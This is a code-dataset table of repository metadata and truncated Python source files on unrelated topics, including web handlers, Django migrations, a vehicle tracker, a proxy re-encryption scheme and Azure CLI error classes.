blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 283 | content_id stringlengths 40 40 | detected_licenses listlengths 0 91 | license_type stringclasses 2
values | repo_name stringlengths 3 135 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 68 | visit_date timestamp[ns]date 2015-07-25 20:53:29 2023-09-06 10:46:05 | revision_date timestamp[ns]date 1970-01-01 00:00:00 2037-05-03 13:00:00 | committer_date timestamp[ns]date 1970-01-01 00:00:00 2036-02-09 17:40:36 | github_id int64 1.61k 691M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 24
values | gha_event_created_at timestamp[ns]date 2012-06-03 10:21:33 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[ns]date 2008-03-27 23:40:48 2023-09-13 22:40:33 ⌀ | gha_language stringclasses 250
values | src_encoding stringclasses 27
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 6 10M | extension stringclasses 289
values | filename stringlengths 1 218 | content stringlengths 6 10M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6960fc6d949512ffc783b085041f86cb791160a3 | c5d5993c8336914325099c3fa2030d464ee87a09 | /tornado.py | 49b1ab74d8f75c5ffd88be7b199ec76bd2c5c6c9 | [] | no_license | Spectren/OneCase | 322a014bd9f7e7bb33834eef866bbb2b61930a74 | e2137bd40648d1ee4251b27a859c3f3957ab93f0 | refs/heads/main | 2023-04-04T16:23:33.251305 | 2021-04-09T13:38:39 | 2021-04-09T13:38:39 | 356,283,963 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 596 | py | tornado.py | import tornado
import copy
class DjangoHandler(tornado.web.RequestHandler):
async def reroute(self):
http = tornado.httpclient.AsyncHTTPClient()
new_request = copy.deepcopy(self.request)
url_obj = copy.urlparse(new_request.url)
new_request.url = f"{url_obj.scheme}://localhost:9000... |
7ad5e803afa42790e878bfb923eddcfde2d21928 | e3f18e3ddbb140d08b2c0ecac457f8a16df25766 | /metadata-ingestion/examples/library/add_ownership.py | d609fd25fa05bdb6371764d95cec99ff1dc48eba | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"BSD-2-Clause",
"MIT"
] | permissive | snandigh/datahub | 4a8a2b125e8888c18a35809cf67560c4bed3e3fe | a24b3624718600f08d0a1f5950d3d85433ec5cd5 | refs/heads/master | 2023-09-04T15:02:49.913717 | 2021-11-05T23:04:17 | 2021-11-05T23:04:17 | 402,228,136 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,647 | py | add_ownership.py |
env = 'DEV' ## this had to be in uppercase
platform = 'hive'
from datahub.emitter.kafka_emitter import DatahubKafkaEmitter, KafkaEmitterConfig
from datahub.emitter.rest_emitter import DatahubRestEmitter
from datahub.ingestion.extractor.schema_util import *
from datahub.metadata.schema_classes import (
DatasetSn... |
6239cb08509b8e84a88db95479af05845876d9b6 | 8806910efbd8625d4f88c9cf4887822d27bb6af9 | /app/alias/migrations/0001_initial.py | 9fb546f6153dbe14c9cbeec9e7d2e09318808a57 | [] | no_license | DanilJr/Test_app | 23f61b43251306ab81a38a83862a7e5c30456c09 | 3fc8bd158c0104d1359bd892d93a64750d0a94d6 | refs/heads/main | 2023-03-08T08:14:10.442691 | 2021-02-18T11:32:16 | 2021-02-18T11:32:16 | 339,113,875 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,128 | py | 0001_initial.py | # Generated by Django 3.1.6 on 2021-02-15 12:13
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Book',
fields=[
... |
99ddc00bf1d0141118748aa98bcc3e7b8a0ff29e | a7a39aeb0f436baa919f466760290fa6584beaad | /wli_update_system_resources.py | 2046eec7d178895a1619c8f37efacb5515472ec9 | [] | no_license | deffer/python-scripts | af57002a96345d73b90de284e1e716f1632aa110 | 0093620bebdae8050dcce148313e2aa0076c5e5a | refs/heads/master | 2021-06-02T01:21:38.224878 | 2019-04-19T09:14:09 | 2019-04-19T09:14:09 | 28,161,585 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 399 | py | wli_update_system_resources.py | # Generic function for updating Weblogic system resources
def update_system_resources(clusterName):
print "Cluster name is " + clusterName
startTransaction()
create_JMSSystemResource("/", "DummyJMSModule")
delete_JMSModule("/JMSSystemResources", "DummyJMSModule")
endTransaction()
print "update_s... |
69eb62ba47a63cf007334c777709b0513d75f396 | d6c76637aa6a7d820634751e3a6b6de3c1587ca4 | /Parsetextfile.py | 8c02e79d581b2a19a806ae0cb5fe821fb3a22156 | [] | no_license | kniemann1/Astro-Play | e908f0f433b96b6f9fad3bbd91f335abc599a8da | dd6b5771b8d9765d99a896ee72145e53363126f8 | refs/heads/master | 2021-01-10T08:33:41.350170 | 2015-12-20T03:44:29 | 2015-12-20T03:44:29 | 46,676,016 | 0 | 1 | null | 2015-12-20T06:18:15 | 2015-11-22T19:26:18 | Python | UTF-8 | Python | false | false | 1,250 | py | Parsetextfile.py | """
Looks up values in createresistorvaluesdbm.py.
Outputs string value ( cmd ).
"""
import dbm
# Open a DB. The c option opens in read/write mode and creates the file if needed.
db = dbm.open( 'resistorvalues', 'c' )
with open( "dummyoutput.txt", "r" ) as file_object:
#print (file_object.readli... |
e36d2426fb8a268ab9ff4f3d6135aa72697e6326 | 0acb16f27885a71df93d145c5f15917827294808 | /getdata.py | d9b4b0db4b18e120db3a651c245c4fcce7834bba | [] | no_license | liyc17/Auto-hearthstone | 2b2f34efd86e2a6c8586dd612c4cb632aa1068be | db3b79ed3028af04dfe7f4e4760a072d1f5da0f5 | refs/heads/main | 2023-01-24T04:29:48.030902 | 2020-11-20T05:44:05 | 2020-11-20T05:44:05 | 314,457,581 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,585 | py | getdata.py | #%%
import numpy as np
import cv2
import matplotlib.pyplot as plt
import win32gui,win32ui,win32con,win32api
import pyautogui as pg
from PIL import ImageGrab
import time
import pandas as pd
# %%
def get_window(lpClassName='UnityWndClass', lpWindowName='炉石传说'):
handle_of_hearthstone=win32gui.FindWindow(... |
d8fb5aeb5453b986cc698165749992e4a7677257 | ab0e5013fc396e219da5be3643fcda22497c23dc | /utils/logging.py | 42f55286d547ef51f15b0c28da5e77f10ab96f3c | [
"MIT"
] | permissive | yoshum/lower-bounded-proper-losses | 1713102f22445a692d6fd79a9a368a4db3d9f722 | 725c333bf24c0ae9e0218a6dae767f043a9548a3 | refs/heads/main | 2023-06-22T09:27:11.288303 | 2021-07-22T04:24:08 | 2021-07-22T04:24:08 | 344,389,291 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,582 | py | logging.py | from datetime import datetime
from logging import Logger
from pathlib import Path
from typing import Dict
import ignite
import ignite.distributed as idist
import torch
from omegaconf import OmegaConf
from config_schema import ConfigSchema
def log_metrics(
logger: Logger, epoch: int, elapsed: float, tag: str, me... |
0baa133bd9eb8a162a82b23ba4d26cdd34f701c4 | 590bc12e706317c328f90fabfd1d02d71e4f2c93 | /tests/app/main/views/test_accept_invite.py | aa7b14da7fce14bf5f790eed21a0d88b17ea20fa | [
"MIT"
] | permissive | ljy0user0admin/notifications-admin | 17772da9b997c84ea83b6b9152b0700ab7be988d | 8ec50971eb0aea360be6d3a174af65bbfd6b6f10 | refs/heads/master | 2021-07-20T10:14:18.031543 | 2017-10-27T14:00:20 | 2017-10-27T14:00:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,704 | py | test_accept_invite.py | from flask import url_for
from bs4 import BeautifulSoup
from unittest.mock import ANY
import app
from app.notify_client.models import InvitedUser
from tests.conftest import sample_invite as create_sample_invite
from tests.conftest import mock_check_invite_token as mock_check_token_invite
def test_existing_user_acce... |
319af5232c043d77a9d63ab1efa62d857da6db23 | 646d6b4e2070e25721c74ab92eed6e7dee0f0b2d | /cLineGraph.py | d963485965a5d6fb2754ab746d7b2a9dc3fefba6 | [
"MIT"
] | permissive | thelegend831/ControlApp---EyeReader | 2ec68f4fc436cd6c1b67fabd9ef6d58c1e8dd831 | 74f959363671d1c593b8647f8ee49e00ec28134f | refs/heads/master | 2021-05-30T05:27:07.722616 | 2015-11-21T18:26:33 | 2015-11-21T18:26:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,008 | py | cLineGraph.py | import matplotlib
import matplotlib.pyplot as plt
from matplotlib.transforms import Bbox
from matplotlib.path import Path
import json
def cLineGraph(j_file):
data = []
with open(j_file) as f:
for line in f:
data.append(json.loads(line))
data = data[0]
in_other = 0
in_picture =... |
4d87c3f70809bbd488159f0b55131af903c7e7b4 | beb867359c6a664f68ce1d40840673eff55b6e39 | /devnet_forum/test.py | b4d532a8fbb507869caf07c91ee76933e7777d3a | [] | no_license | angusba/code | 4da84fb81bf079f53784e3a0ae71b2e726f88c52 | 5526a006f9635759b39c49712200e07fdb12076f | refs/heads/master | 2021-03-06T21:16:53.412487 | 2020-03-10T06:36:16 | 2020-03-10T06:36:16 | 246,223,825 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 45 | py | test.py | print ("hello guys")
print ("hello everyone") |
89fc7af9c8b24e056ad7c0eaf823a3d3d7f2570c | 6b7475021551cce91aaaaa342f20ef92bbed34a8 | /run_vehicle_tracker.py | 35a2aa89756634ac4a3665f2266d97b459426e25 | [] | no_license | cnmy-ro/Enhanced-DeepSORT | 9a66c97bc768d6e61d73af262b52a17cc759cb31 | 016d57c254378684710bf5059804a84354504d4b | refs/heads/master | 2022-10-28T10:45:08.151170 | 2020-06-10T17:41:54 | 2020-06-10T17:41:54 | 255,162,744 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,033 | py | run_vehicle_tracker.py | '''
Main code file for re-purposed DeepSORT vehicle tracker.
Arguments:
--mode : 'test' or 'eval'
--video_path : path to input video file, if using 'test' mode
--detector : 'DPM', 'RCNN' or 'SSD'
--online_detection : 'True' for running SSD on the fly
--min_confidence : 0-1 float
--max_cosine_distance : 0-1 floa... |
c3ca775d6a576a897f052f7f1e39537d77d0b98d | 255e19ddc1bcde0d3d4fe70e01cec9bb724979c9 | /all-gists/0b677738a4b5648d307c/snippet.py | b23f7dc9eb80db69b3869912300405e566e64306 | [
"MIT"
] | permissive | gistable/gistable | 26c1e909928ec463026811f69b61619b62f14721 | 665d39a2bd82543d5196555f0801ef8fd4a3ee48 | refs/heads/master | 2023-02-17T21:33:55.558398 | 2023-02-11T18:20:10 | 2023-02-11T18:20:10 | 119,861,038 | 76 | 19 | null | 2020-07-26T03:14:55 | 2018-02-01T16:19:24 | Python | UTF-8 | Python | false | false | 1,015 | py | snippet.py | #!/usr/bin/env python
from codecs import open
from contextlib import nested
import re
import sys
from os import path
# The regex ranges below may not work on narrow builds of python < 3.3
# see http://stackoverflow.com/a/25417872/1711188
EMOJI_RE = re.compile(ur"""
[\U0001F600-\U0001F64F] # emoticons
|
[\... |
7d82779fd7f178d4db3172cfbe0d3c66658e40e1 | 2f22bc81e3d2833c178b2f2f750bea545e9fa3bf | /py3/sound163/sound.py | 6173317dffbeee6ace7cdf0d9d53a5974c05a9ab | [
"MIT"
] | permissive | SherryZhu240/python-exercise | 325efc93490528637e4c2bf9e787302ebbfd4340 | 4dc703368ac385d4d412587bc672de09a33a0381 | refs/heads/master | 2022-03-21T23:35:03.171644 | 2019-12-10T10:22:27 | 2019-12-10T10:22:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,677 | py | sound.py |
# author lamyoung
import os
import json
from selenium import webdriver
import time
import random
import jieba
from wordcloud import WordCloud
from PIL import Image
import numpy as np
CONFIG = {}
with open(f'config.json', 'r') as f:
CONFIG = json.load(f)
print(CONFIG)
SOUND_ID = CONFIG['id']
PAGES = CONFIG['page']
... |
36507fdd4992f4dadf8cde469b24a4a21dad0ad5 | d26bbee616757e53eac312e1e4ba1a475f512f94 | /software/control_system/sensors/power_switch.py | 200faa62084e5e6f67cbfe923b78e6ea9b72fc80 | [
"MIT"
] | permissive | VentCU/bbwtb | 48e5c0a4b8905d47bfc2fab9a3c338b446c1be85 | 0884b4299652635801765d5c679d589938036da4 | refs/heads/master | 2021-05-24T14:39:48.705335 | 2021-03-25T19:13:00 | 2021-03-25T19:13:00 | 253,609,465 | 5 | 3 | null | null | null | null | UTF-8 | Python | false | false | 714 | py | power_switch.py |
import RPi.GPIO as GPIO
from time import sleep
class PowerSwitch():
def __init__(self, PIN):
self.switch_pin = PIN
self.callback = None
# Broadcom GPIO #s, NOT straight pin numbers on board
GPIO.setmode(GPIO.BCM)
GPIO.setup(PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP)
... |
946d847d8c522db3aecb0ea486dbadac95644197 | ae0e452ec333e7d279be10ba7fa2f3780ae7a636 | /controllers/clients_controller.py | 3a24f38c7e509884cc6d84844b3d7457864bf21f | [] | no_license | nocrater/shelter_oop | fc05f622b4e78091a58400625990aa49c106c950 | 60aa85b777f1e8a0cf975c8f6cbfcebb03710395 | refs/heads/master | 2021-05-22T15:39:02.163822 | 2020-05-07T13:37:53 | 2020-05-07T13:37:53 | 252,985,264 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,266 | py | clients_controller.py | from PyQt5.QtWidgets import QMessageBox
from views.clients import *
from pony.orm import *
from models.client import Client
from controllers.client_controller import ClientController
class ClientsController(QtWidgets.QMainWindow):
def __init__(self, parent):
super(ClientsController, self).__init__(parent... |
a8a4d5aa2ca6e12e3f4a67bcc6dbeabce75be2da | 860e5f0ae398f587bb169a7547d8d39e4f6667a7 | /algorithms/L13/L13_C.py | 1c2a7e2eee129111e540c44142d2f647221cb8e5 | [] | no_license | Fianketto/MADE_2020-2021 | 43223936dbcc0d96216b2b5f7ee590f409f253d0 | f0b363eddf3e098dde2b35630e3da406181bcfe2 | refs/heads/main | 2023-06-04T02:30:48.566922 | 2021-06-28T16:00:10 | 2021-06-28T16:00:10 | 314,250,713 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,726 | py | L13_C.py | import sys
INF = float('inf')
class Edge:
def __init__(self, from_vert, to_vert, capacity, link):
self.from_vert = from_vert
self.to_vert = to_vert
self.capacity = capacity
self.link = link
self.flow = 0
def __repr__(self):
repr = f"|{self.from... |
d8c1d8efa501864408b1f67369809350be68af8a | 57d5f53ebcb7b7f2591a083d48a0af0c0d24e5e3 | /laplacian.py | 7527c024450da9b0371cac6334e45094a632fb1c | [] | no_license | jedhelmers/SudokuSolver | a8d6f13482444285c8fced22e847b8b31114cd13 | ffd9a0f122f59fe9ce07ae10915fd87f772217cd | refs/heads/master | 2021-09-02T01:06:31.965818 | 2017-12-29T14:52:27 | 2017-12-29T14:52:27 | 115,436,819 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 460 | py | laplacian.py | #python3
import cv2
import numpy as np
from matplotlib import pyplot as plt
img = cv2.imread('/Users/jlhelmers/Desktop/sudokubig.jpg',0)
laplacian = cv2.Laplacian(img,cv2.CV_64F, ksize=7)
#lines = cv2.Canny(laplacian, 100,)
# pre-process the image by resizing it, converting it to
# graycale, blurring it, and comput... |
176242dab95a09bb4132c52e9f3b69d3c7704c05 | 98c32b6ba7dfb53415ce57458942f1acdace91a0 | /setup.py | c59c763d1662bb6e2713cecd102b9612f7aeaf45 | [] | no_license | nshipman-io/mssql-account-manager | 6ec3d366a973b111768997d9b6085f52ede38622 | f446cde66670bec4e5461ab6bffc264a0acb1842 | refs/heads/master | 2020-06-04T11:25:45.098074 | 2019-06-21T17:53:07 | 2019-06-21T17:53:07 | 192,002,134 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 560 | py | setup.py | from setuptools import setup, find_packages
with open('README.rst', encoding='UTF-8') as f:
readme = f.read()
setup(
name='mssql-account-manager',
version='0.2.0',
description='Commandline tool to manage MS SQL user accounts',
long_description=readme,
author = 'Norman Shipman',
author_emai... |
5ae6ab6fd1610e04fce7eacaed0476a47ed7b60a | 179df23b49e212196ce04bb4958b9f8623bc7856 | /PyTestClient/myrequests.py | dc375ce6e3a4e19dd946c18aebe5f76871bd6be7 | [] | no_license | xiaohaili/short-url | b3c2d06cae3c62adf217fd605ad5a7ea8bd5a0eb | e48d9af421f36596067709bdfb1e7a709c4360bb | refs/heads/master | 2020-03-30T22:15:37.480267 | 2018-10-05T08:37:36 | 2018-10-05T08:37:36 | 151,660,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 290 | py | myrequests.py | import requests
import json
data = {'shorturl':'cosmosfading','longurl':'https://cosmosmagazine.com/space/universe-slowly-fading-away'}
r = requests.post('http://localhost:5100/Create',data=json.dumps(data))
print "Status code received: " + str(r.status_code) + " response body: " + r.text
|
2e1fcbe4b4598d5d542ae1da6e54d3377c3d2f57 | cbd842d1ce3a6046279db9bbefa0c4bca8f0c962 | /tasks/2020/day13.py | dae672f3ab69421e6a88b1d1b0492788e83cf4d9 | [] | no_license | ffoxin/advent_of_code | 319a83356d98eca7f4bd71e3559174753d8f7a98 | ae7f8070d8b181db3181f6057ff9b03308b21188 | refs/heads/master | 2022-12-21T21:02:45.038615 | 2022-12-12T16:14:20 | 2022-12-12T16:14:20 | 75,533,830 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,826 | py | day13.py | from itertools import product
from pathlib import Path
DATA = (Path(__file__).parent / "data" / "day13.txt").read_text()
def puzzle1():
entries = [i for i in DATA.split("\n") if i]
timestamp = int(entries[0])
buses = [int(i) for i in entries[1].split(",") if i != "x"]
bus_found = None
bus_wait ... |
88999cefbd91ae03073c1e1aefeffc7a2187a221 | f701c14032644e72d97067a1eea3823257218fcb | /Program69.py | 22ffbf404b9685aa001062e1e8065e4548e7d7ca | [] | no_license | AkshayaK04/7-Day-Coding-Challenge | d8b9209d93efe96cbad8d8cd30a00245b385393c | 4653f5ac5eb369c0d69e2f5f57516fada0fb786a | refs/heads/master | 2022-12-03T02:02:12.924731 | 2020-08-10T12:46:15 | 2020-08-10T12:46:15 | 281,128,860 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 541 | py | Program69.py | def construct(n, m, a):
ind = 0
for i in range(n):
if (a[i]!=-1):
ind = i
break
for i in range(ind-1, -1, -1):
if (a[i]==-1):
a[i]=(a[i + 1]-1 + m)% m
for i in range(ind + 1, n):
if(a[i]==-1):
a[i]=(a[i-1... |
25eec55ce3791dddd3f05888ee9258170a155d9c | 9538f6b1fe6670d6d45b1ef76cdf6ca167335e27 | /ProcessData/generate_patent_table.py | 7f699249ff10b12363b0e9f79a83d6ce8a495d09 | [] | no_license | mvail/info6850-final-project | 177f68342bf503c0189935772efb04d0fe5ae414 | 90558403a2b117abae1c4e56225fd62dffde4e73 | refs/heads/master | 2021-01-19T11:41:56.570503 | 2017-04-21T16:23:35 | 2017-04-21T16:23:35 | 87,989,578 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,845 | py | generate_patent_table.py | import sqlite3
# Database location
dbpath = '/home/margaretvail/mysite/db.sqlite3'
# Data location
path = "/home/margaretvail/data/"
# Function to connect to sqlite database
def connectDB():
dblocation = dbpath
conn = sqlite3.connect(dblocation)
return conn;
# Parse and insert metadata.csv data into sqli... |
7f6a76dfe0d334b69131314a79ebcbdf382beefc | ecff1058b9bb64a6308e80d27bb3c10513576305 | /2017-07/0716批量合并数据.py | aba2233cd1775ed02794afa7031309a2485914f5 | [] | no_license | wutong0810/2017-10before | 7f648f58e78035524148c009c44e7c1f77aecb49 | 4639561cac8df44daf5bffa414d7e8f71730894c | refs/heads/master | 2021-07-14T09:27:42.342491 | 2017-10-14T13:59:22 | 2017-10-14T13:59:22 | 105,959,069 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,753 | py | 0716批量合并数据.py | # -*- coding: utf-8 -*-
"""
Created on Sun Jul 16 21:36:24 2017
@author: wutongshu
"""
import os
#获取目标文件夹的路径
def pathGet(path1=r'E:\华为数据\测试',dataFomat='.txt'):
path2=unicode(path1,"utf8")
filename_total=[]
for dirpath, dirnames, filenames in os.walk(path2):
for filename in filenames:
... |
bd3128dfc2b7f17918d26b06fb8f248f969fda4b | 62c7d68af09b3f9307ee8bd15afdc17aaa4ed450 | /feature_extractor/run.py | b583a5fd155298c386af8315c0b01322b92c4318 | [] | no_license | gangeshwark/QbE_System | 36e19db305490e79947fe103f1ec61d4211fa543 | 42e745053f1c360df0f4eeaf426179d0fce1963a | refs/heads/master | 2021-01-20T11:34:25.361684 | 2018-11-29T14:15:00 | 2018-11-29T14:15:00 | 82,385,283 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,476 | py | run.py | import subprocess, inspect
import os
from os.path import basename
import feature_extractor.readArk
from feature_extractor.data_preparation import prepare_dir
class FeatureExtractor():
@staticmethod
def bnf(file_path):
os.chdir(os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))))... |
debd06b54c3c2644d7b677a41d8c6ba3d860220f | ad173991f47ba60fd9f8f70c7ced7843cbf62dab | /my_model.py | 4a64dd4a7b8a203f13027710c3316b20f54b0b08 | [] | no_license | HenryBalthier/rnndemo | 443b67ca18d5b7167fe3228d2692d099fc8feda1 | 314673bb8c9ddcd11c433e3d23fd4b15877d6e28 | refs/heads/master | 2021-01-22T12:57:34.205661 | 2017-09-12T08:18:08 | 2017-09-12T08:18:08 | 102,360,418 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,052 | py | my_model.py | import tensorflow as tf
class Model(object):
def __init__(self, model, batch_size, step, learning_rate, learning_decay, rnn_size,
gradient_norm, net_layer, vocab_size, datatype):
# you can read more about these models on main.py
if model == 'simple lstm':
hidden_cell =... |
f83f2055b911546f191e98378616a112a87ecec8 | 1f8c4e85bccb09b92aab2e22a2f64ba3c4a1f554 | /sarcoma/adda/tfmodels/unet_whole.py | a494b591f7ab2224b779fc4623eec098ded26e3e | [] | no_license | Strauman/Masters-thesis | afbd7718692a85ddd7c5b762f4704d9076290814 | 9ed86d0c461b278ada4aac4f393a236a1aeb2e23 | refs/heads/master | 2020-06-19T02:08:14.909279 | 2019-07-19T12:47:00 | 2019-07-19T12:47:00 | 196,527,573 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,395 | py | unet_whole.py | from . import TFModel
from tensorflow.keras.layers import Conv2D, Activation, MaxPooling2D, Conv2DTranspose, Lambda, InputLayer, concatenate, BatchNormalization,Dropout, Dense,Flatten
from tensorflow.keras.layers import Reshape, LeakyReLU, ReLU
# from tensorflow.keras.models import Sequential
from . import UpdModel as ... |
0adc796807ee1630e13b49624efde4f639e61361 | ce7705150777688ba2c40ba7d7c67ea1ed3d5281 | /grizly/cli/git_s3.py | 5a710f345989422042efd1c662da5164f91f9257 | [] | no_license | bing9/grizly | 2e01e4d5cb83490a78d190e71bcccdc8eb66f3d7 | 78657d0309731d4cb3d0f6cbdcbc8ece549d562b | refs/heads/master | 2021-07-09T05:37:23.228180 | 2020-12-23T10:54:50 | 2020-12-23T10:54:50 | 220,925,602 | 0 | 0 | null | 2020-04-05T13:27:08 | 2019-11-11T07:32:02 | Python | UTF-8 | Python | false | false | 6,672 | py | git_s3.py | #!/usr/bin/env python
import subprocess
import click
import os
#chmod a+x ptest
def get_blocks():
with open(".gitignore", "r") as f:
lines = [line.replace("\n", "") for line in f.readlines()]
try:
indx = lines.index('#GITS3')
except ValueError:
... |
f863f264cf09b3d71bb5a191e4c05dbcfea3833d | dbf885048468afb2e41ed233ba682e71a451ccb8 | /pre_mg07a.py | ab77f9a03ffc4c7b941d961f3936d39c83d9db2b | [] | no_license | nikosft/IB-PRE | f2d52258daa407666b0692880ae8eecf136db6a6 | 1fd8051f999b9b4ab054f277156c5bbfe0b9e4aa | refs/heads/master | 2022-08-14T21:43:21.453048 | 2022-07-22T13:02:16 | 2022-07-22T13:02:16 | 6,938,010 | 22 | 11 | null | null | null | null | UTF-8 | Python | false | false | 4,918 | py | pre_mg07a.py | '''
Identity-Based Proxy Re-Encryption
| From: "M. Green, G. Ateniese Identity-Based Proxy Re-Encryption", Section 4.1.
| Published in: Applied Cryptography and Network Security. Springer Berlin/Heidelberg, 2007
| Available from: http://link.springer.com/chapter/10.1007%2F978-3-540-72738-5_19
* type: proxy ... |
2572bf3059fa211b95e5b4b457e1802fc542913c | 14ecceeea9ae5fb192b90ab8a3805e9e8cb186de | /cosSimilar.py | 7a23cafe174d5432cd0aac281a1182e3ab72fecb | [
"BSD-2-Clause"
] | permissive | tz28/cosine_similarity | 5a3d216f661e97e8d051a4b21928aca50d2d12aa | a5febdc130f0f07f7bd9c6daa695dfc214af472f | refs/heads/master | 2021-05-07T14:42:33.259909 | 2018-04-08T13:47:04 | 2018-04-08T13:47:04 | 109,851,766 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 368 | py | cosSimilar.py | import numpy as np
def cosine_similarity(a,b):
a=np.mat(a)#把list转换为matrix
b=np.mat(b)
num=float(a * b.T)
#linalg.norm()计算向量的范数
denom=np.linalg.norm(a)*np.linalg.norm(a)
return 0.5+0.5*(num/denom)#cosine similarity的范围为[-1,1],先把他归一化至[0,1]
if __name__ == '__main__':
cosine_similarity([1,2],[2,... |
b6c1d3cc3d1a572596a13ee441540938168b2317 | fae8f9cf5e72cf85eeff42cc9a00cb439708e107 | /claseAlumno.py | d74850b032ad6471cfb7c1dc135689dc94f506c6 | [] | no_license | rodrigoo730/ejercicio5_un2 | 676a27775bfa2b2511851f2427494ee496482323 | ecd9b2da4d2d14b846c2f524f9534cda79897c1b | refs/heads/main | 2023-04-30T00:49:09.236229 | 2021-05-12T22:55:31 | 2021-05-12T22:55:31 | 366,873,930 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 783 | py | claseAlumno.py | class Alumno:
cantMaxInasistencia = 5
totalClases = 120
__nombre=0
__anio=0
__division=0
__cantInasistencia=0
def __init__(self,nombre,anio,division,cantInasistencia):
self.__nombre = nombre
self.__anio = anio
self.__division = division
self.__c... |
29253758b837288de81d8d464adf04a5a0780809 | 1da0631a9f5bc9a6e85584df02db80700c243741 | /instagram_web/blueprints/images/views.py | 660cbbb78e01fcd23071655bffa87e10146504ac | [] | no_license | ahmadridza/curriculum-nextagram-template | 94c56fd269fd23aa32607e876c408d41422829c4 | 32daa963a43439090c243deecba5398b3dd50dfd | refs/heads/master | 2021-01-16T14:44:17.127442 | 2020-03-06T11:58:42 | 2020-03-06T11:58:42 | 243,157,238 | 0 | 0 | null | 2020-02-26T03:13:56 | 2020-02-26T03:13:56 | null | UTF-8 | Python | false | false | 1,349 | py | views.py | from flask import Flask, render_template, request, flash, Blueprint, redirect, url_for
from flask_login import login_required, current_user
from werkzeug.utils import secure_filename
from models.user import User
from models.image import Image
from instagram_web.util.helpers import upload_files_to_s3
from config import ... |
51e87e09ef5fdbb795933fb776dd9136f92e7b77 | 3306db40765ac9c1860e1fd15e11276bcedc53b8 | /activemq/stomp/activemq_test.py | a42543cb17c860336b97845d8e75badad588fa5f | [] | no_license | dennis-zheng/python | dec2832341a863ea0aabd0b03a6c9bfc64a78eaa | 82e4db7335bb8ae170d59af764026029e37f0445 | refs/heads/master | 2021-07-21T16:18:49.411108 | 2021-07-07T10:52:14 | 2021-07-07T10:52:14 | 136,100,573 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,071 | py | activemq_test.py | # -*- coding: utf-8 -*-
import time
import glob
import sys
import os
import threading
import uuid
import stomp
#import logging
#logging.basicConfig()
import logDS
logDS.init('activemq.log')
is_stop = False
gindex = 0
class MyListener(stomp.ConnectionListener):
def on_error(self, headers, message):
print... |
954056f1bbb1ac8708b0be2228a757f35602ed60 | 20e0d602ebca4972588f4821d4525c5dae55b89e | /src/azure-cli-core/azure/cli/core/azclierror.py | 97fc2d4c4a990e6f28e4c6caea1b594b836806cf | [
"MIT",
"LGPL-2.1-only",
"GPL-1.0-or-later",
"BSD-3-Clause",
"MPL-2.0",
"LGPL-2.1-or-later",
"Apache-2.0",
"BSD-2-Clause"
] | permissive | hackathon-cli-recommendation/azure-cli | bc5fb5cb5b3a186489176774e0d8bff01020b97b | b9df3c9cfd400627912e5751bb6dcd429670b2c7 | refs/heads/dev | 2023-02-26T07:03:32.482255 | 2020-11-12T07:41:23 | 2020-11-12T08:33:18 | 283,122,074 | 0 | 0 | MIT | 2020-11-18T10:09:52 | 2020-07-28T06:30:06 | Python | UTF-8 | Python | false | false | 3,543 | py | azclierror.py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... |
a73d5b3ab225a71d0f55e3b6007c313f5d9be614 | 59d1265f364f24344d69b9f4e52974a94832915c | /nbmolviz/__init__.py | 9a15d747b6f5fd16408414b06144d31e42d07d4a | [
"Apache-2.0"
] | permissive | am-official/notebook-molecular-visualization | a6fe314c8d0c6fe3ff67cf2c6d1b99cbe289651d | 2dd61fedcf363d7362b727669b86c5f1c07656fd | refs/heads/master | 2021-03-28T19:58:21.996453 | 2017-08-24T17:29:11 | 2017-08-24T17:29:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,243 | py | __init__.py | from __future__ import print_function
# Copyright 2017 Autodesk Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... |
